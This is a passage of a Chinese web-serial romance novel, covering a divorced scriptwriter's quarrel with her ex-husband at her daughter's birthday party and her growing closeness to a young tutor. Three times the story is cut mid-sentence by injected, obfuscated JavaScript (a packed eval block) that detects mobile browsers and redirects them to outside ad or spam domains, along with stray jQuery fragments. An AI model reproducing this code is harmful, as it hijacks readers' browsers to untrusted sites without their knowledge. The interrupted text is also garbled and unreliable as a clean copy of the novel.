“哇,这么厉害。那你们接广告吗?我跟我朋友一起开了一家美容院,想找靠谱的合作方做个推广。”
程桑榆微笑说道:“商务这边,我们有专门的人负责,你需要的话,我把她微信推给你?她会跟你对接具体的报价流程。”
“报价”这两个字让贺莎表情垮了下去,“你在公司没有拍板的权力吗?”
“她就是个编剧,不负责运营事务。”唐录生接了话,笑说,“你不如把私域做好,转化率更高。”
程桑榆看出唐录生有点不大高兴,他不高兴的时候嘴是往下撇的,即便是在笑。
“是哦?”贺莎似乎仍有些不死心,“你做编剧的,编了什么剧啊?怎么没见你发过朋友圈?”
唐录生不作声了。
程桑榆却笑答:“短剧。”
“……霸道总裁爱上我的那种?”
“对啊。你看吗?”
“我不看,我觉得有点……”贺莎没把话说完。
而其余的一些家长,听闻程桑榆是做短剧的,纷纷来了兴趣,问剧名,问能不能跟明星合作……
唐录生这时忽然拉开椅子,径直越过半张桌子,走到程桑榆身边去,低下头,压低声音道:“我们出去聊两句。”
程桑榆绷着脸,“跟你没什么可聊的。”
满桌的目光都汇聚而来,唐录生笑一笑,“没事你们吃,我跟桑榆聊两句私事。”
一时“哎呦”声四起,有人阴阳怪气地着重重复“私事”一词,仿佛乐见“破镜重圆”的桥段在现实上演。
程桑榆像生吞了一只苍蝇,“有什么话你就在这儿说。”
“你要不去我就一直站这儿了啊。”
显然在“脸皮厚”这方面,唐录生已臻化境,程桑榆根本不是他的对手。这是斯言的生日宴,僵持下去闹得太难看斯言也会不开心。
她永远有她的软肋。
唐录生永远知道怎么利用。
程桑榆掼下筷子起身,“我就听你狗嘴里能吐出什么象牙。”
这家餐厅没开在商场或者闹市区,而是在半山独占一个小院,其漂亮的景观,也是它火爆的原因之一。
两人走到院子中央。
唐录生摸出烟盒,程桑榆眼风扫过来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164186|164473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他笑笑,又揣回口袋,开门见山道:“我都替你圆过去了,你何必要把自己在做短剧的事说出来?”
“你什么意思?”程桑榆立马进入战争状态。
“你非要我把话说明白?你们做的东西又土又low,你说那么仔细对你有什么好处?还会影响言言……”
“你少在这里乱放狗屁上纲上线,我是做剧不是做鸡。”
“……你什么时候变得这么粗俗了?”唐录生皱眉,“我就事论事,你却带情绪。这东西就是不体面……”
“要脸吗唐录生?我为你耽误了七年,现在好不容易靠自己本事吃上一口饭,你有什么资格指责我的饭没营养?你红利吃尽当然体面,我要是你,我现在比你更体面。”
“为我?斯言是为我生的?那离婚你也没把小孩给我啊?还有我吃什么红利了?我没出去赚钱?你们的吃穿用度不是我辛辛苦苦提供的?我跟客户喝酒喝到胃出血的时候,你呢,你在家里呼呼大睡。周末我还帮你带小孩,让你有时间出去跟你小姐妹逛街。和其他爸爸相比,我做得还不够好?”
满腔愤懑横冲直闯,像一壶烧开尖啸的沸水。程桑榆深深吸气,才能勉强克制,不要使它冲上眼眶,催毁冷静的堤坝。
她不明白,自己已经从泥坑里爬起来了,也靠自己努力地站住脚跟了,为什么一对上唐录生,仿佛还是只有单方面挨打的份。
“我说的是事实,你不要不服气。你如果真觉得自己的工作拿得出手,你敢把你做的东西拿给斯言看吗?”
程桑榆抬眼,眼眶已经泛红:“那想必你很为你的工作感到骄傲吧?”
“……那当然。不是所有人白手起家都能成功的。”
“那你敢把你跟人谈生意,在商K里跟别的女人搂搂抱抱的事情,告诉给斯言吗?”
“……”
“不是很骄傲吗?怎么不敢说?”程桑榆冷笑,“我顶多只是剧low,你是人low。”
唐录生少见的哑口无言。
“占没占到便宜,占便宜的人心里最清楚。你这么咄咄逼人,不就是因为没法继续从我这里占到便宜了吗?我就是做狗血短剧的,出去跟谁我都敢这么说。都是合法纳税的公民,谁比谁高贵?我爸都没这么跟我说过话,你算个什么东西?再啰嗦两句我现在就进门当着所有人的面把你做的那些low事抖落出去,看看是谁更丢脸。”
/
“做什么呢这么投入?喊你两声了都没听见。”
二楼露台边缘砌着铁艺栏杆,攀满了凌霄花藤,郁野手臂撑在那上面,未防后背突然被人拍了一掌。
“听人骂人。”郁野回神。
卓景阳:“啊?”
“骂得很好听。”
卓景阳脸上浮现一个巨大的问号,他也探头往下看了眼,什么也没看见,便说:“不进去啊?序哥刚刚找你呢。”
“你先进去吧,我再待一会儿,马上来。”
“快点啊——这里蚊子贼多。”卓景阳转身走了。
郁野直起身,从一旁的室外楼梯走下去,穿过院子,到了东边的一栋低矮建筑。
不确定人进了这栋建筑之后,去了哪里。
不过依照她要强的个性,大约应该,会找个没人看见的地方,先把自己收拾得没那么狼狈。
顿了顿,郁野推开了门。
刚走两步,一个服务员拦住了他,“不好意思先生我们这边是员工活动区。”
“能借用一下你们这边的洗手间吗?”
“可以。”服务员指了指对面,“那边。”
一道黑色布帘遮挡住了视野。
郁野停顿一瞬,抬手掀开。
一方共用的三人位的洗手台,两侧各有通道,分别通往男女洗手间。
洗手台前,穿白色连衣裙的女人正在对镜补妆,布帘掀开的一瞬,目光上移,定住。
郁野平静打招呼:“晚上好。”
程桑榆霍地回头,“你怎么在这儿?”
“公司团建。”
“这么巧?”
“嗯。”他也觉得自己最近运气好得爆棚。
郁野往她脸上看。
即便拿粉饼压过,也盖不住鼻尖泛红,大约她进来之后,还哭过一阵。
清瘦身影装在白色长裙里,像一支受了伤的长梗百合。
“其实已经很完美了。”
“……你说妆?”
“我是说你的发挥。”
程桑榆蹙眉。
“抱歉不是故意偷听。我在楼上透气,正好……”
“那你怎么不知道回避?看人这么狼狈很有意思?”
郁野脸上表情没什么变化,仿佛料到她会炸毛一样。他垂下眼帘,目光落在她脸上,壁灯柔和,浅淡瞳色却很幽深,即便某种温柔昭然若揭,也并不能轻易察觉。连他自己都没有。
声音有意修饰得分外平和,因为知道她这个人,恐怕最不需要的就是怜悯:“我只看到你打了一场很漂亮的反击战。”
9.09
程桑榆自认不算眼窝浅的人。
此刻蓦地仰面,一边吸气,一边以手扇风,试图加快空气流速,蒸发掉眼眶的湿润。
同样的话,不同的人讲出来,效果大不相同。
郁野这个人,虽然交集不深,但也知道他有一种懒散的傲慢,这个世界还不配让他虚以委蛇。
所以要么不说,要么每一句都出自本心。
程桑榆一直十分钦佩简念。
她从小到大都像一头干劲十足的雌狮,无视这个世界上大部分的约定俗成,认定目标只管横冲直撞,从不内耗,也绝不允许自己向下堕落。
简念帮助程桑榆的方式也十分的女战士:
没什么好哭的,你应该感到庆幸,结婚八年离婚总好过结婚二十八年再离婚;
有这个时间担心自己做的东西不行,不如先出一版初稿发给对方看看合不合要求;
我邀请你跟我一起出来创业当然是看中了你的潜质不然你当我扶贫吗?
因为简念,程桑榆才能迅速摆脱失败婚姻的阴影,并在工作经验基本为零的情况下,获得了谋生的手段。
简念既是明灯也是标杆,不断鞭策自己和身边的人,不要为已经打翻的牛奶哭泣,要去追逐远方更广阔的草原。
与这样一个人并肩作战,很充实,当然也很累。
不过程桑榆从来不会在简念面前暴露自己的负面情绪,因为简念已经为她做得够多了,她不想让简念看见,自己似乎还是毫无长进,能被唐录生的几句垃圾话轻易气哭。
而回到家里,她就需要做妈妈和女儿的女战士。
没有哪个地方,可以容纳她偶尔软弱的眼泪。
你已经做得很好了。
类似这样的鼓励,上一回听见,好像已是上辈子的事情。
“……我才补好的妆。”程桑榆猛眨眼睛,睫毛浅浅濡湿,终究没有夺眶而出。
郁野看着她,没作声。
有无法分辨的情绪,淤积于他的呼吸之间。
数次眨眼,让程桑榆把翻涌的情绪平息下去,她转头往镜面里去瞧自己的睫毛膏有无晕染,问道:“……你是看我进来,然后跟过来的吗?”
“嗯。”细想,自己也觉得这行为可疑,顿两秒,补充道,“你也算是给我发工资的老板。”
所以关心一下,大约不算过分。
程桑榆笑出一声,“你知道吗……”
她笑的时候,眼里还泛着泪光,这样的表情绝对称不上是脆弱,只是有时候,倔强比脆弱,更容易唤起某种保护的欲望。
“什么?”郁野把目光越过她的肩头,去看镜子上方的灯,不再看她。
“刚刚我有一秒钟,怀疑你背后是不是有个组织,给我量身定制了一套杀猪盘。”
郁野露出一言难尽的表情:“……那你反诈意识很好。”
“如果真有这么一个组织,告诉你们领导,不要白费力气跟我这条线。我很抠门的,这辈子不会再为男人花一分钱。”
郁野已经不想搭理她了,这个女人真的很不爱按常理出牌。
此刻心情一如他的姓氏,几分郁闷,于是他说:“……你没事的话那我走了。”
“去派对上打个招呼吗?言言看见你应该会蛮高兴的。”程桑榆不再开玩笑,认真邀请。
“不了。我们组织的领导在找我,要我去发展别的目标。”
程桑榆噗嗤笑出声。
“帮我说一声生日快乐。”郁野退后半步,又稍滞身影,“你们明天去北京,几点的车?”
从这周一开始,斯言已经念叨了无数次去环球影城的事。
“晚上9点左右。言言没坐过卧铺车,带她体验一下。”
郁野默了一瞬,点头:“她应该会很开心。”
程桑榆微怔。
她一直觉得郁野的语言系统,被他人为设置了一道过滤程序,任何情绪经过程序的拦截,都只剩下听不出喜怒的平淡。
或许这道程序,偶尔也有失灵的时候。
因为她从他这句话里,隐约品出了一丝羡慕的情绪。
郁野点了一下头,掀开布帘,这一回是真的走了。
程桑榆补完妆,情绪也已整理完毕,镜子里倒映出一张无懈可击的面容。
转身,穿过院子,重回到灯火通明的地方,继续做一名女战士。
二楼栏杆处。
黑暗中的郁野倚靠栏杆,目送程桑榆身影消失在门里,这才转身下楼,回到团建现场。
/
部门开原型机初次风洞测试的统筹会议,偌大会议室里,实习生被安排坐在最末一排。
卓景阳听得认真,不漏过每一个会议要点。
而郁野,不管在什么场合,都有些心不在焉。
窗外太阳已经有一半落到了高楼的背面,天空呈现热度褪去后的金粉色,他手臂撑在椅子的扶手上,看着落日,持续走神。
五点半,会议结束。
卓景阳今晚要回家跟母亲和妹妹一道吃饭,实习地方离他家远,因此他冲回工位,抓起背包打了卡就走了。
郁野先点了一份送到泊月公馆的外卖,再不紧不慢地离开公司,骑车回家。
人与外卖前后脚抵达,吃过之后,与阿加莎玩了一会儿,看时间,7点不到。
他推开移门,走去宽敞的露天阳台,向远处眺望。
天已经完全黑了,江滩的一线灯火,像一条闪闪发光的鱼线。
为阿加莎戴上牵引绳,随意背上背包,骑上自行车,出门。
骑车遛狗,一贯没有明确固定的路线,且思绪多数时候处于半放空状态。
等恍然回神时,已经站在了一片浓郁的梧桐树阴下。
整个老城区,只有清水街连同附近的枳花西路,有这样浓阴匝地、密不见天的梧桐树。
程家就在枳花西路上。
郁野双足点地,把车刹停。
在阴影里无声地站了一会儿,有点认命地掏出手机,解锁,点开通话记录,下翻,找到“康姥姥”,把电话拨过去。
号码是为了斯言去江滩公园练习滑板时,方便与她们联系碰头存的。
电话接通,郁野自报家门。
康蕙兰:“有什么事吗小郁?”
“您现在在家吗?遛狗经过小区,我想正好顺便把斯言的生日礼物送过来——如果您方便的话。”
“在家在家!你还破费准备生日礼物啊?你现在上来吧小郁,斯言正在等她妈妈下班回家呢。”
“我带了阿加莎……”
“没事儿!外头多热啊,叫它也上来吹吹冷气。”
把自行车停在三单元门口的雨棚下,郁野牵着阿加莎,走往二单元。
此时是饭后活动的黄金时期,楼栋门常有人进出,郁野顺利地进了楼。
三楼防盗门虚掩,透出一线暖白灯光。
郁野站定,抬手敲门。
里面传来斯言清脆的声音:“来啦!”
脚步声哒哒哒地跑过来,虚掩的门被拉开。
“阿加莎!”
大狗热烈地摇起尾巴。
同龄的一人一狗,明明周二晚上才一起玩过,此刻却如久别重逢一般兴高采烈。
郁野换鞋进屋,率先看见客厅里立着一只二十四寸的行李箱。
康蕙兰给郁野倒了一杯凉水,郁野道声谢,端着水杯在沙发落座。
目光环视一圈,看向托腮蹲在阿加莎面前的斯言,随意问道:“你妈妈还没下班?”
“没呢,她今天好像比较忙。”
康蕙兰瞧一瞧墙上的时钟:“但是也该回来了,再晚怕是赶不上火车。”
郁野问:“哪个站?”
斯言:“南站!”
“还来得及。”郁野说。
“晚上9点的车,姥姥恨不得早上9点就去火车站等着。”斯言笑说。
康蕙兰呵呵直笑,“早点总比晚点强。”
郁野卸下背包,拿出一只礼品盒,递给斯言。
“谢谢!”斯言惊喜极了,“是什么呀郁老师?我可以拆开看吗?”
“可以。”
东西拿在手里很有分量,拆开来,里面是一本书,封面是一栋绿色的房子的轮廓。
“Anne of Green Gables POP-UP Dollhouse……”斯言念出书封上的文字,“《绿山墙的安妮》立体书娃娃屋?”
郁野点头。
仅翻开一页便为之惊叹,太过精致,囫囵吞枣未免浪费。
斯言把书合上:“我要等回来了慢慢看!”
她起身,把立体书珍而重之地放去了自己的卧室。
回到客厅,与阿加莎玩了一会儿,时间不知不觉又过去了十五分钟。
康蕙兰坐不住了,把手机递给斯言:“言言,你给你妈妈打个电话催一下。”
电话打过去,拨通了,但无人接听。
斯言也跟着焦虑起来。
又等了两分钟,再拨,直接成了占线的状态。
“姥姥……”斯言向康蕙兰投以无助的表情,“我妈是不是工作还没做完啊?”
康蕙兰嗫嚅一下,没有作声,只把手机接了过来,再把电话打过去。
仍是占线。
连拨三遍。
斯言忽然起身,从康蕙兰手里拿过电话挂断,笑一笑说:“她肯定在忙,我们不要催她了。”
康蕙兰张张口。
斯言不再说话,把手机搁在茶几上,蹲下身去,耷拉着肩膀,有一下没一下地抚摸着阿加莎的脑袋。
阿加莎挪了挪,离她更近,轻蹭她的膝盖。
郁野无声看着斯言与阿加莎,及时屏蔽了某种物伤其类的情绪。
这样的场景,他再熟悉不过。
只是第一次站在第三人视角观察。
屋里气氛微妙,谁也没有作声。
这样约莫过了五分钟,外头骤然传来急促的脚步声。
斯言一顿,歪头听了一会儿,立马跳起来跑往门口,把门
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169877|164473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打开。
带喘的女声传进来:“……修改需求你让他们整理一个文档统一发过来,这样一点一点说太细碎我也记不住……我知道DDL在周一,肯定不会放鸽子的——好了好了我真的来不及了,挂了,拜拜拜拜!”
程桑榆挂了电话,手叉着腰,猛喘一口气。回来得急,上楼跑出一身热汗。
“妈我以为你加班今天不回来了。”
“酒店和门票都订好了我怎么可能不回来——东西都收好了吧?”
“收好了!”
“我俩的身份证……”
“在桌上!”
“我现在打个车,你最后检查一下东西带齐没有,我去洗把脸我们就出发。”程桑榆飞快蹬掉了鞋子靸上拖鞋。
往里迈了一步,这才瞧见坐在沙发上的人。
郁野:“嗨。”
程桑榆疑惑:“你们今天还补了课?”
“没有没有,郁老师来给我送生日礼物的。”
“破费了。”程桑榆现在没空多说什么,点开打车软件输入地址叫车,把手机和装着笔电的托特包往餐桌上一放,急匆匆走进浴室。
三分钟后,程桑榆从浴室出来,拿起手机一看,司机距离2.7公里,顿时拧眉,“这垃圾系统怎么派的单……”
取消,重叫,再接单的也有1.5公路,且过来的路堵得严严实实。
她当机立断,取消打车,“走吧言言,我们开车去火车站。”
康蕙兰:“那车怎么办?”
“就停在火车站吧,多交点停车费。”
“需要我送吗。”
程桑榆闻声望过去,郁野正看着她。
“你有驾照吗?”
“我看起来像是敢无证驾驶的人?”
程桑榆笑了。
事急从权,不是讲客气的时候:“那就麻烦你了。等我回来请你吃饭。”
郁野起身,没甚所谓地点点头。
斯言背上了她自己的双肩包,程桑榆把放在桌上的两张身份证拿起来,妥善装进托特包的内侧口袋里,伸臂去拿行李箱。
一只手比她动作快了一步,抓住了拉杆。另只手里的牵引绳,递到了斯言手里:“麻烦你牵一下阿加莎。”
而后俯身捞起沙发上的黑色双肩包,往肩上随意一挂,推住拉杆箱,往门口走去。
毫不拖泥带水的一套动作,根本没给她插手的空隙。
程桑榆收回悬停在空中的手,由他了。
康蕙兰把三人送到门口。
郁野说:“送到以后我就把车开回来停到原处。您如果要早睡的话,我明早再把车钥匙送上来。”
康蕙兰说:“我到楼下去跟邻居打几圈麻将,小郁你到时候直接去敲102的门就行。”
郁野点头说好。
老房子没电梯,靠爬楼上下。
郁野收起拉杆,一把拎起行李箱。
里头装了相机,整套洗护用品和化妆品,也算有些分量,在他手里轻巧得跟没重量似的。
下了楼,郁野把箱子推到了程家的车位,程桑榆拿钥匙解锁后备箱,郁野放上箱子,关门,朝她摊开手。
程桑榆迟疑了一下,“去火车站我开吧。”
“你歇一下。”手径直伸过来,拈走她手里的车钥匙。
程桑榆原本对郁野的车技将信将疑,他哪怕十八岁拿证,也就两年驾龄,平常又在上学,哪有多少开车的机会。
但上路开了没一会儿她就放心了。
年纪小归年纪小,十分稳当,被人胡乱变道加塞也没骂过一句。
仔细想想,这个年轻人似乎比她同龄的一些同事还要情绪稳定,认识以来,还没有见过他有任何情绪失控的时候。
程桑榆后背往后靠,放松下来。
“开得惯吗?”转头看他。
“刹车稍微有点硬。还好。”
“听音乐吗?我拿我手机放。”程桑榆尽力做好副驾的辅助工作。
“不用。”郁野瞥一眼时间,“具体九点几分发车?”
“九点十七。”
郁野点点头。
他没说什么,但程桑榆明显感觉到他开得比方才稍微激进了些,多了一些变道超车的操作。不过仍然很稳。
“妈。”后座的斯言这时候出声,“你是不是工作没做完呀?”
“我带电脑了呀,卧铺车十几个小时呢,我车上写就行。”
“那不是好辛苦……”
程桑榆笑笑,“那我要是放你鸽子,你不哭啊?”
“你不会的。妈妈你最好了。”
“少来,好肉麻。”
斯言嘿嘿直笑。
郁野无声地呼了一口气。
看右侧后视镜时,目光顺便从程桑榆脸上掠过。
他并不清楚,自己一次又一次忍不住去注视她,究竟是为了明确什么。
他只知道,他把过去的影子投射在她们身上,好像她们这一趟出行圆满一些,那道影子的缺口,也会被弥补一分。
10.10
软卧下铺铺上碎花图案的一次性床单和枕套,拉上窗帘,便成了一方舒适而极具安全感的小小天地。
22点,车厢熄灯,陷入一片静默的昏暧。
火车已经出站许久,疾驰于黑暗平原。
程桑榆把笔记本电脑支在小桌板上,不时地敲击键盘,回神抬眼,对面床上,斯言还没睡,正把额头紧紧地贴在车窗玻璃上,微张着嘴,看得入迷。
她也转眼望去,无边空旷的黑夜里,极远处有几星灯火。
奇妙的感觉,人也好像变成了静夜里一粒微不足道的尘埃。
“还不睡?”程桑榆轻声问。
这趟车乘坐率不高,她们所在的车厢,上铺都是空的。
“我好像还不困。”斯言转过头来,同样轻声细语,“妈妈我可以暂时占用你一点时间吗?”
程桑榆被逗笑,“跟谁学的这套官话?”
“我想给郁老师和孔老师带点小礼物,但是不知道买什么。”
“或许你可以等我们到北京了再考虑这个问题。”
“但是我想先调查一下他们的喜好。”
她这套拐弯抹角的说话方式,也就程桑榆能一秒理解本质。
她拿起放在枕头上的手机,解锁了递给斯言,“只准用半小时。”
“遵命!”
程桑榆揿亮一旁的小夜灯,好让空间亮一些,手机屏幕光线不要那么伤眼睛,随后自己重新投入工作。
斯言趴在床上,打开微信,从通讯录里搜索郁野和孔新语的名字,发去一样的消息。
/
郁野正在打游戏。
STEAM上一款小众硬核的悬疑解谜类游戏,开了录屏,实况会在剪辑之后,发布到网上。
他发游戏实况的id叫“yyyyyyyyyyyyyyyy”,很显然是注册时随意起的,有500多个粉丝,单个视频点击量稳定在3000左右。
他的视频既不聊天也不解说,连阐释性的文字都欠奉,更新频率更是极不规律。这种情况下,还能有粉丝和点击,全因游戏够小众而内容干货十足,同好倘若卡关过不去,只能将就参考他的过关流程。毕竟全网无代餐,视频再难啃也得含泪咽下去。
久而久之,倒也积累了十来个铁粉,一更新就在评论区里玩梗:16y老师又来发压缩饼干了。
手机振动,郁野瞥一眼,锁屏状态下,显示微信有“1个通知”。
暂时没理,等过了当前关卡,起身喝水,才把手机解锁。
点开微信,看见浮上最顶端的熟悉的头像,顿了一下。
头像出自日剧《四重奏》,极出圈的那一帧“人生易如反掌”的截图。
右上角数字“1”的提示红点,仿佛狙击手的红外瞄准器。
引得人心脏微悬。
手指点开。
【csy:郁老师你喜欢哈利·波特还是小黄人?】
【YE:都还行。】
【csy:那你是哪个院呀?】
郁野略感不对劲。
【YE:很久以前测的,记不大清了。应该是格兰芬多吧。】
【csy:我也是!】
正要回复,对面又发来一条,快得跟复制粘帖似的。
【csy:最喜欢哈利·波特的哪个人物?】
【YE:小天狼星。】
【csy:我也喜欢!他死的时候我快哭死了!】
郁野确定了。
【YE:你是斯言?】
【csy:对呀!我妈还在加班呢。】
郁野在椅子上坐了下来,上悬的心脏也落下去。
【YE:快睡吧。】
【YE:小孩儿睡眠不足长不高。】
【csy:好吧。】
【YE:也让你妈妈早点睡。】
【csy:她应该不会很早睡。】
【YE:那就让她劳逸结合。】
斯言发了一个咧嘴笑的表情之后,不再回复了。
微信静默下去。
郁野放下手机,看向静止的游戏画面,骤然没了继续探索的兴致。
/
郁野、卓景阳和孔新语三人有个单独的群,是上学期一同参加机械设计大赛时拉的。
周一上午一早,这群高频地活跃起来。
【孔新语:我回学校了。】
【孔新语:给你俩带了点老家的特产,晚上有没有空一起吃个饭?】
【卓景阳:有有有。我跟@YE请,你想吃啥?】
【孔新语:老地方。麻辣香锅吧。】
【卓景阳:还没吃腻啊姐。】
【孔新语:请客的人还挑三拣四?】
【卓景阳:@YE你今晚要上课不?】
【YE:不用。改明天了。她们今天中午才到家。】
【卓景阳:那今天下班了我跟郁野一起去学校找你。】
离下班还有半小时,卓景阳就坐不住了,一会儿去茶水间摸鱼,一会儿来郁野工位上溜达。
郁野:“……你工作不饱和的话去找序哥领点活。别晃了我头疼。”
终于下班。
郁野想打车,卓景阳不让,说晚高峰路上堵,坐地铁快。
晚高峰地铁挤成沙丁鱼罐头,郁野的蓝牙耳机都差一点被挤掉,他看向抓着扶手,同样被人流挤得东倒西歪,却全程一脸迷之微笑的卓景阳,多少有些生无所恋。
麻辣香锅店在学校附近美食街里,上学期三人开组会时常吃。
孔新语西南人,口味偏重,整条美食街,也就她老乡开的这家麻辣香锅,稍微合她胃口——不过她光顾的频率之高,还是会让卓景阳和郁野私下怀疑,她是不是收了老乡的回扣。
不然怎么,一家店去二十次都吃不腻?
两人到店的时候,孔新语已经照着三人一贯的喜好把餐点上了。
可能老家太阳毒辣,晒得孔新语皮肤黑了两分,笑起来露出牙齿,就更显得灿烂。
卓景阳在她对面坐下,把郁野挤到了斜对面。
“你爷爷的病,控制住了?”卓景阳问。
“慢性病。以后只能慢慢养着。还好他们医保报得多,药一直吃也负担得起。”
孔新语边说,边把脚边的两只厚实的黑色布袋,分给两个人。
“辣椒酱、腌菜和干豇豆,都是我们家里自己做的。”
卓景阳掂了掂自己的,又掂了掂郁野的,“……怎么我的轻一点?”
“你不是不喜欢吃干豇豆吗?就没给你装。”
“我不吃,我妈和我妹妹可以吃。”
“……那又不早点说。”
郁野:“我跟你换?”
“……不好吧。”卓景阳一脸期待。
郁野径直把他的那只拿过来,自己的这只扔过去。
卓景阳嘿嘿一笑。
卓景阳注意到孔新语脚下还有一袋:“那给谁的?”
“给桑姐——就我和郁野做家教的那家。”
卓景阳和郁野的表情同时起了微妙变化。
卓景阳是为“我和郁野”这个措辞。
郁野是因为“桑姐”这个名字。
郁野:“你什么时候送去?”
“晚上。”
“……已经联系好了?”
“对呀。桑姐还约我吃晚饭呢!我不是先跟你俩约好了吗,就没去。”孔新语喝口冰水,看向郁野,“你适应得怎么样?要是还是教得不乐意,我就跟桑姐打声招呼,换我继续?”
郁野平声说:“我什么时候说过不乐意?”
卓景阳和孔新语异口同声:“拜托你去试课的时候。”
郁野:“……”
卓景阳:“但他现在去得挺积极的。”
孔新语:“我就说了你会喜欢桑姐她们一家人吧!我寒假的时候手头缺钱,桑姐知道了毫不犹豫先给我预支了20个课时的工资,我连合同都没跟她签的,她也不怕我跑了。”
“你能跑哪里去?真跑了去我们学校教工处一闹,你就出名了。”卓景阳笑说。
“……可她一个单身妈妈很不容易,自媒体收入又不稳定,她们工作室账号,也是今年上半年才真正有了起色的。”
郁野端起水杯,垂眸淡淡地说:“我继续教就行。暑假都要结束了。”
“你不用勉强……”
“我没有勉强。”
“你的表情就很勉强。”
“……”
卓景阳:“他一直面瘫脸你又不是不知道。”
孔新语哈哈大笑。
这顿晚饭,郁野吃得心不在焉。
不过反正三人组有两个话唠,他说不说话,对话题的推进毫无影响。
吃过饭,郁野买了单,卓景阳转来一半的钱,郁野干脆地收了。
三人走到店门口,商量去处。
孔新语听说郁野要打车回家,问他能不能蹭一程。
“可以。”
卓景阳:“我也要蹭。”
孔新语蓦地看向他,目光雀跃,嘴里却说:“可是你家都不在一个方向。”
卓景阳飞速想了一个借口:“我……我回公司加班。”
郁野:“……”
车到了,郁野果断坐副驾,把后座让给两个迟钝的笨蛋。
车先开到科技园,卓景阳下车时欲言又止。
孔新语看他:“你加班到几点?”
“不知道,九……十点吧。”
“那一会儿我过来找你。”
“找,找我?”
“你不是说你们园区旁边有家夜宵好吃吗?”
“哦……对。”卓景阳嘴角上扬,“你忙完了给我发消息。”
车重新启动。
没了卓景阳,郁野和孔新语之间,就仿佛天然地少了一座桥梁,聊天要费力得多。
如果不是极有必要,两个人都懒得开口。
车开到了枳花西路。
孔新语拉开车门,却见郁野也在做同样的动作。
“……你不是还没到吗?”
“跟你一起上去一趟。”郁野平静解释,“落了东西。”
孔新语不疑有他地点点头。
孔新语给程桑榆准备的特产,比给两个男生的更具分量,郁野见她拎得有点费力,主动接了过来。
沉甸甸的,十分勒手。
“里面是什么?”
“西红柿。”
郁野默了一瞬,“你带西红柿坐上千公里的车?”
“你根本不懂这个西红柿的含金量,是那种酸酸甜甜的,有西红柿味道的西红柿。桑姐吃过一回,可喜欢了,说这个才是小时候的味道。你是不是觉得重啊?那我自己提。”
郁野手臂往后一躲,“不重。”
一口气上到三楼,孔新语抬手敲门。
“来啦。”隔着门扇,里面隐约传来一道女声,盛夏的暑夜里,像一缕凉雾一样地蹑过来。
郁野微微敛住呼吸。
片刻,“咔哒”一声,门被往里拉开。
冷气同幽微香气一道拂面。
女人穿一身宽松的苎麻套装,像是植物染料手工染出来的浅碧色,不很均匀,却有随意的美感,动的时候,像一道凉悠悠的,绿植的影子。
“桑姐!好久不见!”
“好久不见。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15177860|164473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”程桑榆眼底尽是笑意。微顿,看见女生身后的男生,“你们一起过来的?”
“对!一起吃了晚饭过来的。”
程桑榆抿嘴笑了笑,不说什么,招呼道:“快进来坐吧,今天天气好热。”
转身,从鞋柜里取出两双拖鞋。
孔新语换好了鞋,说道:“对了桑姐,我给你了带了我们老家的西红柿。”
程桑榆惊讶极了:“……坐车带过来的?”
“对。我怕发冷链没那么及时,闷坏了就可惜了。”
孔新语伸手,要去接郁野手里的袋子递给程桑榆。
郁野却没松手,而是看向程桑榆,说道:“重。给你放厨房?”
程桑榆点头:“就放厨房吧。”
继而目光从孔新语身上扫过,又抿嘴一笑。
这个表情出现了两次,郁野自然注意到了,但不知应当怎样解读,有些莫名。
郁野走进厨房的时候,听见斯言从房间里跑了出来,跟孔新语打招呼。
康蕙兰伸手去接袋子,郁野说:“这个重,您别闪到腰。我放灶台上可以吗?”
“可以可以。”
郁野放下袋子,康蕙兰走过去解开,见郁野似乎打算帮忙归置,忙笑说:“放着我自己来就行,小郁你出去坐吧。”
郁野点点头,拧开水槽龙头洗了手,走出厨房。
客厅茶几上,两只装了冰柠檬水的玻璃杯,紧挨着放在一起,一杯已经见底,一杯还是满的。
孔新语坐在沙发上,面前站着斯言,两人手拉在一起,一边晃悠,一边聊环球影城之行,热火朝天。
程桑榆站在一旁,背靠着单人沙发椅的扶手,微笑看着她俩。
郁野出声:“斯言。”
斯言这才发现还有个人:“郁老师你也来了!”
郁野点点头,走过去捞起茶几上还满着的玻璃杯,没有挨着孔新语坐下,而是径直朝着程桑榆走去。
程桑榆略感莫名,却见他定住脚步,直接在沙发椅上坐了下来。
有什么拂过程桑榆反撑在扶手上的手指。
她下意识转头低望,看见的是郁野T恤短袖的袖口。
一抬眼,对上了他的目光。
平静不见波澜,很难解读其意味。
对视了两秒钟。
程桑榆觉得不自在,此刻才察觉到,他放着长沙发不坐,跑来这边坐的行为,有多突兀。
他坐沙发椅,她靠扶手,突破了正常的社交距离,奇怪得不得了。于是程桑榆赶紧起身,自己去孔新语身旁坐了下下来。
